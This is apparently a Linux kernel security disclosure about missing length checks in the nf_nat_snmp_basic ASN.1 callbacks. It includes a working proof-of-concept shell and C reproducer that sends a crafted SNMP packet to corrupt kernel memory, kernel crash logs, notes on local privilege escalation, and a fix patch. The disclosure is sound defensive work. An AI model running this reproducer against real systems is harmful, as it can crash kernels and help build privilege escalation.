commit cc2d58634e0f ("netfilter: nf_nat_snmp_basic: use asn1 decoder library",
first in 4.16) changed the nf_nat_snmp_basic module (which, when enabled, parses
and modifies the ASN.1-encoded payloads of SNMP messages) so that the kernel's
ASN.1 infrastructure is used instead of an open-coded parser. The common ASN.1
decoder can invoke callbacks when certain objects are encountered. The SNMP
helper has two such callbacks defined in nf_nat_snmp_basic.asn1:

 - For the `version` field of a `Message` (a `INTEGER`), snmp_version() is
   invoked.
 - For each `IpAddress` (according to RFC 1155, a 4-byte octet string),
   snmp_helper() is invoked.

These callbacks contain the following code:


int snmp_version(void *context, size_t hdrlen, unsigned char tag,
                 const void *data, size_t datalen)
{
        if (*(unsigned char *)data > 1)
                return -ENOTSUPP;
        return 1;
}

int snmp_helper(void *context, size_t hdrlen, unsigned char tag,
                const void *data, size_t datalen)
{
        struct snmp_ctx *ctx = (struct snmp_ctx *)context;
        __be32 *pdata = (__be32 *)data;

        if (*pdata == ctx->from) {
                pr_debug("%s: %pI4 to %pI4\n", __func__,
                         (void *)&ctx->from, (void *)&ctx->to);

                if (*ctx->check)
                        fast_csum(ctx, (unsigned char *)data - ctx->begin);
                *pdata = ctx->to;
        }

        return 1;
}


The problem is that both of these callbacks can be invoked by the ASN.1 parser
with `data` pointing at the end of the packet and `datalen==0` (even though, for
the `INTEGER` type, X.690 says in section 8.3.1 that "The contents octets shall
consist of one or more octets"), but they don't check whether there is
sufficient input available. This means that snmp_version() can read up to one
byte out-of-bounds and leak whether that byte was <=1, and snmp_helper() can
read and potentially also write up to four bytes out-of-bounds.

Unfortunately, KASAN can't detect the out-of-bounds reads because, as was
pointed out in
<https://lore.kernel.org/lkml/552d49b6-1b6e-c320-b56a-a119e360f1d7@gmail.com/>
regarding a (harmless) out-of-bounds read in the TCP input path, the kernel
stores a `struct skb_shared_info` at the end of the socket buffer allocation,
directly behind the packet data. The kernel can only detect that a problem
occurred based on the later effects of an out-of-bounds write.
It might be a good idea to explicitly add some KASAN poison between the head
data and struct skb_shared_info to make it easier for kernel fuzzers to discover
issues like this in the future.


There are two scenarios in which this bug might be attacked:

 - A router that performs NAT translation is explicitly set up to invoke the
   SNMP helper, and a device in the NATted network wants to attack the router.
   This is probably very rare, since the router would need to be explicitly
   configured to perform SNMP translation. On top of that, to corrupt memory,
   an attacker would need to be able to completely fill an SKB; it isn't clear
   to me whether that is possible remotely.
 - A local attacker could exploit the bug by setting up new network namespaces
   with an iptables configuration that invokes SNMP translation. This probably
   works as a local privilege escalation against some distribution kernels.
   The normal autoloading path for this code was only set up in
   commit 95c97998aa9f ("netfilter: nf_nat_snmp_basic: add missing helper alias
   name", first in 4.20), but from a glance, it looks like it would be possible
   on kernels before 4.20 to instead first load one of the openvswitch module's
   aliases "net-pf-16-proto-16-family-ovs_*" through ctrl_getfamily(), then use
   ovs_ct_add_helper() to trigger loading of "nf_nat_snmp_basic" through the
   alias "ip_nat_snmp_basic".


The following is a reproducer for a git master build that causes a kernel oops
(nf_nat_snmp_basic must be compiled into the kernel, or built as a module, I
think):

======================================================================
#!/bin/sh
unshare -mUrnp --mount-proc --fork bash <<SCRIPT_EOF
set -e
set -x

# make "ip netns" work in here
mount -t tmpfs none /var/run/
cd /var/run

# this namespace is the router with NAT
ip link set dev lo up
echo 1 > /proc/sys/net/ipv4/ip_forward
/sbin/iptables -t nat -A POSTROUTING -o veth0 -j MASQUERADE
/sbin/iptables -t raw -A PREROUTING -p udp --dport 162 -j CT --helper snmp_trap
/sbin/iptables -A FORWARD -m conntrack --ctstate INVALID,NEW,RELATED,ESTABLISHED,SNAT,DNAT -m helper --helper snmp_trap -j ACCEPT

# this namespace is the destination host for the SNMP trap message
ip netns add netns1
nsenter --net=/var/run/netns/netns1 ip link set dev lo up
ip link add veth0 type veth peer name veth1
ip link set veth1 netns netns1
nsenter --net=/var/run/netns/netns1 /sbin/ifconfig veth1 192.168.0.2/24 up
/sbin/ifconfig veth0 192.168.0.1/24 up

# this namespace sends the SNMP trap message
ip netns add netns2
nsenter --net=/var/run/netns/netns2 ip link set dev lo up
ip link add veth2 type veth peer name veth3
ip link set veth3 netns netns2
# /31 network, see RFC 3021
# we want *.0.0.0 so that the 3 OOB bytes can be zero
nsenter --net=/var/run/netns/netns2 /sbin/ifconfig veth3 10.0.0.0/31 up
/sbin/ifconfig veth2 10.0.0.1/24 up
nsenter --net=/var/run/netns/netns2 ip route add default via 10.0.0.1

# debug
ip route
nsenter --net=/var/run/netns/netns2 ip route

# run the PoC
cat > udp_repro.c <<C_EOF
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <stdlib.h>
#include <errno.h>
#include <stdarg.h>
#include <net/if.h>
#include <linux/if.h>
#include <linux/ip.h>
#include <linux/udp.h>
#include <linux/in.h>
#include <err.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>

#define IPADDR(a,b,c,d) (((a)<<0)+((b)<<8)+((c)<<16)+((d)<<24))

// "pc X" comments in the following array refer to indices into
// nf_nat_snmp_basic_machine in "nf_nat_snmp_basic.asn1.c", which
// is generated as part of the kernel's build process.
// reading the ASN.1 decoder and the generated machine opcodes
// seemed easier than trying to build ASN.1 by looking at the
// spec or something like that...
uint8_t snmp_packet[] = {
  // pc 0: read tag, should match _tag(UNIV, CONS, SEQ) == 0x30
  // length indef
  0x30, 0x80,

  // pc 2: read tag, should match _tag(UNIV, PRIM, INT) == 0x02
  // version number
  0x02, 0x01,
  0x00,

  // pc 5: read tag, should match _tag(UNIV, PRIM, OTS) == 0x04
  0x04, 0x00,

  // pc 7: read tag, should match _tagn(CONT, CONS,  0) == 0xa0
  // selects GetRequest-PDU, length indef
  0xa0, 0x80,

  // pc 34: read INT request-id
  0x02, 0x04,
  0x00, 0x00, 0x00, 0x00,

  // pc 36: read INT error-status
  0x02, 0x04,
  0x00, 0x00, 0x00, 0x00,

  // pc 38: read INT error-index
  0x02, 0x04,
  0x00, 0x00, 0x00, 0x00,

  // pc 40: read seq VarBindList
  // length indef
  0x30, 0x80,

  // pc 42: read seq VarBind
  // length indef
  0x30, 0x80,

  // ptr 44: read tag, should match _tag(UNIV, PRIM, OID) == 0x06
  // ObjectName
  // (can use 0x82 as length to have two bytes of length following)
  // length chosen so that the end of packet data is directly
  // followed by the skb_shared_info, with the whole thing in a
  // kmalloc-512 slab.
  0x06, 0x70,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,

  // ptr 46: read tag, should skip
  // ptr 48: read tag, should skip
  // ptr 50: read tag, should skip
  // ptr 52: read tag, should match _tagn(APPL, PRIM,  0) == 0x40
  // IpAddress
  // we could also use a length of zero, and the callback would still
  // be invoked, but we want control over the first byte so that we
  // can create a source IP match.
  0x40, 0x01,
  // source IP 10.0.0.0
  0x0a
};

void do_sendto(int sockfd, const void *buf, size_t len, int flags, const struct sockaddr *dest_addr, socklen_t addrlen) {
  int res = sendto(sockfd, buf, len, flags, dest_addr, addrlen);
  if (res != len) {
    if (res == -1)
      err(1, "send failed");
    else
      errx(1, "partial send?");
  }
}

int main(void) {
  int sock = socket(AF_INET, SOCK_DGRAM, 0);
  if (sock == -1) err(1, "socket");

  struct sockaddr_in sa = { .sin_family = AF_INET, .sin_port = htons(162), .sin_addr = { .s_addr = IPADDR(192,168,0,2) } };

  // __ip_append_data() overallocates by 15 bytes for some reason; cancel it out
  // by using CORK to first send 15 bytes short, then append the remaining 15 bytes
  do_sendto(sock, snmp_packet, sizeof(snmp_packet)-15, MSG_MORE, (struct sockaddr *)&sa, sizeof(sa));
  do_sendto(sock, ((char*)snmp_packet)+sizeof(snmp_packet)-15, 15, 0, (struct sockaddr *)&sa, sizeof(sa));
}
C_EOF
gcc -o udp_repro udp_repro.c -Wall
nsenter --net=/var/run/netns/netns2 ./udp_repro
SCRIPT_EOF
======================================================================

Corresponding splat:

======================================================================
[  260.101983] IPVS: ftp: loaded support on port[0] = 21
[  260.134983] LoadPin: vda1 (254:1): writable
[  260.135981] LoadPin: enforcement can be disabled.
[  260.137085] LoadPin: kernel-module pinned obj="/lib/modules/5.0.0-rc5/kernel/net/bpfilter/bpfilter.ko" pid=1095 cmdline="/sbin/modprobe -q -- bpfilter"
[  260.143100] bpfilter: Loaded bpfilter_umh pid 1096
[  260.171851] IPVS: ftp: loaded support on port[0] = 21
[  260.248339] IPv6: ADDRCONF(NETDEV_CHANGE): veth0: link becomes ready
[  260.250475] IPv6: ADDRCONF(NETDEV_CHANGE): veth1: link becomes ready
[  260.261136] IPVS: ftp: loaded support on port[0] = 21
[  260.347678] IPv6: ADDRCONF(NETDEV_CHANGE): veth3: link becomes ready
[  260.621924] page:ffffea000703de00 count:0 mapcount:-128 mapping:0000000000000000 index:0x0
[  260.624264] flags: 0x17fffc000000000()
[  260.625373] raw: 017fffc000000000 ffffea0007a6d408 ffffea000783fe08 0000000000000000
[  260.627650] raw: 0000000000000000 0000000000000003 00000000ffffff7f 0000000000000000
[  260.629926] page dumped because: VM_BUG_ON_PAGE(page_ref_count(page) == 0)
[  260.631958] ------------[ cut here ]------------
[  260.633312] kernel BUG at ./include/linux/mm.h:546!
[  260.634771] invalid opcode: 0000 [#1] PREEMPT SMP DEBUG_PAGEALLOC KASAN
[  260.636693] CPU: 6 PID: 1121 Comm: udp_repro Not tainted 5.0.0-rc5 #263
[  260.638583] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1 04/01/2014
[  260.641031] RIP: 0010:do_exit+0x1391/0x1440
[  260.642266] Code: 89 86 68 05 00 00 48 89 ac 24 e0 00 00 00 e9 2a f5 ff ff 4d 89 fd e9 6d f2 ff ff 48 c7 c6 c0 cf 67 99 48 89 ef e8 ef a5 24 00 <0f> 0b 48 8d bb 20 05 00 00 e8 11 77 2b 00 48 8d bb 18 05 00 00 4c
[  260.647667] RSP: 0018:ffff8881e083fd98 EFLAGS: 00010286
[  260.649556] RAX: 000000000000003e RBX: ffff8881deed4240 RCX: 0000000000000000
[  260.651639] RDX: 0000000000000000 RSI: dffffc0000000000 RDI: ffffffff9b65eaa0
[  260.653712] RBP: ffffea000703de00 R08: ffffed103d633ec9 R09: ffffed103d633ec9
[  260.655786] R10: 0000000000000001 R11: ffffed103d633ec8 R12: ffffea000703de34
[  260.657857] R13: ffff8881e6262140 R14: ffff8881e083f918 R15: ffff8881e083fe78
[  260.659939] FS:  0000000000000000(0000) GS:ffff8881eb180000(0000) knlGS:0000000000000000
[  260.662281] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[  260.664171] CR2: 00007fe2da7af5e0 CR3: 000000002de2b002 CR4: 0000000000360ee0
[  260.666987] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[  260.670022] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
[  260.672035] Call Trace:
[  260.672761]  ? release_task+0x860/0x860
[  260.673864]  ? __fd_install+0x88/0x140
[  260.674946]  ? handle_mm_fault+0x82/0x130
[  260.676100]  do_group_exit+0x79/0x120
[  260.677157]  __x64_sys_exit_group+0x28/0x30
[  260.678362]  do_syscall_64+0x73/0x160
[  260.679440]  entry_SYSCALL_64_after_hwframe+0x44/0xa9
[  260.680878] RIP: 0033:0x7fe2da7af618
[  260.681922] Code: Bad RIP value.
[  260.682872] RSP: 002b:00007ffd5a5e12c8 EFLAGS: 00000246 ORIG_RAX: 00000000000000e7
[  260.685057] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007fe2da7af618
[  260.687125] RDX: 0000000000000000 RSI: 000000000000003c RDI: 0000000000000000
[  260.689197] RBP: 00007fe2daa8c8e0 R08: 00000000000000e7 R09: ffffffffffffff98
[  260.691264] R10: 00007ffd5a5e1248 R11: 0000000000000246 R12: 00007fe2daa8c8e0
[  260.693343] R13: 00007fe2daa91c20 R14: 0000000000000000 R15: 0000000000000000
[  260.695412] Modules linked in: bpfilter
[  260.696776] ---[ end trace d5f4a4a31d762416 ]---
[  260.698931] RIP: 0010:do_exit+0x1391/0x1440
[  260.700171] Code: 89 86 68 05 00 00 48 89 ac 24 e0 00 00 00 e9 2a f5 ff ff 4d 89 fd e9 6d f2 ff ff 48 c7 c6 c0 cf 67 99 48 89 ef e8 ef a5 24 00 <0f> 0b 48 8d bb 20 05 00 00 e8 11 77 2b 00 48 8d bb 18 05 00 00 4c
[  260.705625] RSP: 0018:ffff8881e083fd98 EFLAGS: 00010286
[  260.707183] RAX: 000000000000003e RBX: ffff8881deed4240 RCX: 0000000000000000
[  260.708823] RDX: 0000000000000000 RSI: dffffc0000000000 RDI: ffffffff9b65eaa0
[  260.710384] RBP: ffffea000703de00 R08: ffffed103d633ec9 R09: ffffed103d633ec9
[  260.711888] R10: 0000000000000001 R11: ffffed103d633ec8 R12: ffffea000703de34
[  260.713785] R13: ffff8881e6262140 R14: ffff8881e083f918 R15: ffff8881e083fe78
[  260.715326] FS:  00007fe2dac99700(0000) GS:ffff8881eb180000(0000) knlGS:0000000000000000
[  260.717071] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[  260.718340] CR2: 00007fe2da7af5ee CR3: 000000002de2b002 CR4: 0000000000360ee0
[  260.719867] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[  260.721389] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
[  260.722923] Fixing recursive fault but reboot is needed!
======================================================================


It also works against a Debian testing distro kernel if you first (as root)
set kernel.unprivileged_userns_clone=1 and modprobe nf_nat_snmp_basic; splat:

======================================================================
[17260.886470] IPv6: ADDRCONF(NETDEV_UP): veth1: link is not ready
[17260.887304] IPv6: ADDRCONF(NETDEV_UP): veth0: link is not ready
[17260.887310] IPv6: ADDRCONF(NETDEV_CHANGE): veth0: link becomes ready
[17260.887334] IPv6: ADDRCONF(NETDEV_CHANGE): veth1: link becomes ready
[17260.930188] IPv6: ADDRCONF(NETDEV_UP): veth3: link is not ready
[17260.931286] IPv6: ADDRCONF(NETDEV_CHANGE): veth3: link becomes ready
[17261.115583] BUG: Bad page state in process Xorg  pfn:276500
[17261.115588] page:ffffcf4ac9d94000 count:-1 mapcount:0 mapping:0000000000000000 index:0x0
[17261.115595] flags: 0x17fffc000000000()
[17261.115598] raw: 017fffc000000000 dead000000000100 dead000000000200 0000000000000000
[17261.115599] raw: 0000000000000000 0000000000000000 ffffffffffffffff 0000000000000000
[17261.115601] page dumped because: nonzero _count
[17261.115602] Modules linked in: veth xt_helper xt_conntrack nf_nat_snmp_basic nf_conntrack_snmp nf_conntrack_broadcast xt_CT xt_tcpudp nft_counter nft_chain_nat_ipv4 ipt_MASQUERADE nf_nat_ipv4 nf_nat nf_conntrack nf_defrag_ipv6 nf_defrag_ipv4 nft_compat nf_tables nfnetlink uinput atm netrom appletalk psnap llc ax25 snd_hda_codec_generic snd_hda_intel snd_hda_codec snd_hda_core snd_hwdep snd_pcm snd_timer joydev qxl snd soundcore ttm drm_kms_helper drm sg evdev virtio_balloon serio_raw virtio_console crct10dif_pclmul crc32_pclmul pcspkr ghash_clmulni_intel button ip_tables x_tables autofs4 ext4 crc16 mbcache jbd2 fscrypto ecb btrfs xor zstd_decompress zstd_compress xxhash hid_generic usbhid hid raid6_pq libcrc32c crc32c_generic sr_mod cdrom ata_generic virtio_net net_failover virtio_blk failover crc32c_intel
[17261.115641]  ata_piix libata ehci_pci aesni_intel uhci_hcd aes_x86_64 ehci_hcd crypto_simd cryptd virtio_pci usbcore scsi_mod psmouse glue_helper virtio_ring i2c_piix4 usb_common virtio floppy
[17261.115652] CPU: 14 PID: 653 Comm: Xorg Not tainted 4.19.0-1-amd64 #1 Debian 4.19.12-1
[17261.115653] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1 04/01/2014
[17261.115654] Call Trace:
[17261.115681]  dump_stack+0x5c/0x80
[17261.115688]  bad_page.cold.115+0x7f/0xb2
[17261.115690]  get_page_from_freelist+0xf51/0x1200
[17261.115694]  ? reservation_object_reserve_shared+0x32/0x70
[17261.115696]  ? get_page_from_freelist+0x8c3/0x1200
[17261.115698]  __alloc_pages_nodemask+0x112/0x2b0
[17261.115703]  new_slab+0x288/0x6e0
[17261.115707]  ? update_blocked_averages+0x3ca/0x560
[17261.115708]  ___slab_alloc+0x378/0x500
[17261.115710]  ? update_nohz_stats+0x41/0x50
[17261.115713]  ? shmem_alloc_inode+0x16/0x30
[17261.115715]  ? shmem_alloc_inode+0x16/0x30
[17261.115716]  __slab_alloc+0x1c/0x30
[17261.115717]  kmem_cache_alloc+0x192/0x1c0
[17261.115719]  shmem_alloc_inode+0x16/0x30
[17261.115722]  alloc_inode+0x1b/0x80
[17261.115725]  new_inode_pseudo+0xc/0x60
[17261.115726]  new_inode+0x12/0x30
[17261.115728]  shmem_get_inode+0x49/0x220
[17261.115731]  __shmem_file_setup.part.42+0x3f/0x130
[17261.115754]  drm_gem_object_init+0x26/0x40 [drm]
[17261.115758]  qxl_bo_create+0x79/0x170 [qxl]
[17261.115762]  qxl_gem_object_create+0x60/0x120 [qxl]
[17261.115764]  ? qxl_map_ioctl+0x20/0x20 [qxl]
[17261.115767]  qxl_gem_object_create_with_handle+0x4e/0xb0 [qxl]
[17261.115769]  qxl_alloc_ioctl+0x42/0xa0 [qxl]
[17261.115777]  ? drm_dev_enter+0x19/0x50 [drm]
[17261.115785]  drm_ioctl_kernel+0xa1/0xf0 [drm]
[17261.115807]  drm_ioctl+0x1fc/0x390 [drm]
[17261.115810]  ? qxl_map_ioctl+0x20/0x20 [qxl]
[17261.115812]  ? ep_scan_ready_list.constprop.22+0x1fc/0x220
[17261.115814]  ? __hrtimer_init+0xb0/0xb0
[17261.115816]  ? timerqueue_add+0x52/0x80
[17261.115834]  ? enqueue_hrtimer+0x38/0x90
[17261.115835]  ? hrtimer_start_range_ns+0x1b7/0x2c0
[17261.115836]  do_vfs_ioctl+0xa4/0x630
[17261.115840]  ? __sys_recvmsg+0x83/0xa0
[17261.115841]  ksys_ioctl+0x60/0x90
[17261.115843]  __x64_sys_ioctl+0x16/0x20
[17261.115846]  do_syscall_64+0x53/0x100
[17261.115851]  entry_SYSCALL_64_after_hwframe+0x44/0xa9
[17261.115852] RIP: 0033:0x7fb3e93d3747
[17261.115854] Code: 00 00 90 48 8b 05 49 a7 0c 00 64 c7 00 26 00 00 00 48 c7 c0 ff ff ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 b8 10 00 00 00 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d 19 a7 0c 00 f7 d8 64 89 01 48
[17261.115855] RSP: 002b:00007ffc43daf3f8 EFLAGS: 00003246 ORIG_RAX: 0000000000000010
[17261.115856] RAX: ffffffffffffffda RBX: 0000562c71bece00 RCX: 00007fb3e93d3747
[17261.115857] RDX: 00007ffc43daf430 RSI: 00000000c0086440 RDI: 000000000000000e
[17261.115857] RBP: 00007ffc43daf430 R08: 0000562c71bece00 R09: 00000000000003d1
[17261.115858] R10: 0000562c71085010 R11: 0000000000003246 R12: 00000000c0086440
[17261.115858] R13: 000000000000000e R14: 0000562c710bcba0 R15: 0000562c710d82f0
[17261.115860] Disabling lock debugging due to kernel taint
======================================================================


I suggest the following patch (copy attached with proper whitespace); I have
tested that it prevents my PoC from crashing the kernel, but I haven't tested
whether SNMP NATting still works.

======================================================================
From b94c17fa81f8870885baaec7815eee8b789d2c7b Mon Sep 17 00:00:00 2001
From: Jann Horn <jannh@google.com>
Date: Wed, 6 Feb 2019 22:56:15 +0100
Subject: [PATCH] netfilter: nf_nat_snmp_basic: add missing length checks in
 ASN.1 cbs

The generic ASN.1 decoder infrastructure doesn't guarantee that callbacks
will get as much data as they expect; callbacks have to check the `datalen`
parameter before looking at `data`. Make sure that snmp_version() and
snmp_helper() don't read/write beyond the end of the packet data.

(Also move the assignment to `pdata` down below the check to make it clear
that it isn't necessarily a pointer we can use before the `datalen` check.)

Fixes: cc2d58634e0f ("netfilter: nf_nat_snmp_basic: use asn1 decoder library")
Signed-off-by: Jann Horn <jannh@google.com>
---
 net/ipv4/netfilter/nf_nat_snmp_basic_main.c | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/net/ipv4/netfilter/nf_nat_snmp_basic_main.c b/net/ipv4/netfilter/nf_nat_snmp_basic_main.c
index a0aa13bcabda..0a8a60c1bf9a 100644
--- a/net/ipv4/netfilter/nf_nat_snmp_basic_main.c
+++ b/net/ipv4/netfilter/nf_nat_snmp_basic_main.c
@@ -105,6 +105,8 @@ static void fast_csum(struct snmp_ctx *ctx, unsigned char offset)
 int snmp_version(void *context, size_t hdrlen, unsigned char tag,
                 const void *data, size_t datalen)
 {
+       if (datalen != 1)
+               return -EINVAL;
        if (*(unsigned char *)data > 1)
                return -ENOTSUPP;
        return 1;
@@ -114,8 +116,11 @@ int snmp_helper(void *context, size_t hdrlen, unsigned char tag,
                const void *data, size_t datalen)
 {
        struct snmp_ctx *ctx = (struct snmp_ctx *)context;
-       __be32 *pdata = (__be32 *)data;
+       __be32 *pdata;
 
+       if (datalen != 4)
+               return -EINVAL;
+       pdata = (__be32 *)data;
        if (*pdata == ctx->from) {
                pr_debug("%s: %pI4 to %pI4\n", __func__,
                         (void *)&ctx->from, (void *)&ctx->to);
-- 
2.20.1.611.gfbb209baf1-goog
======================================================================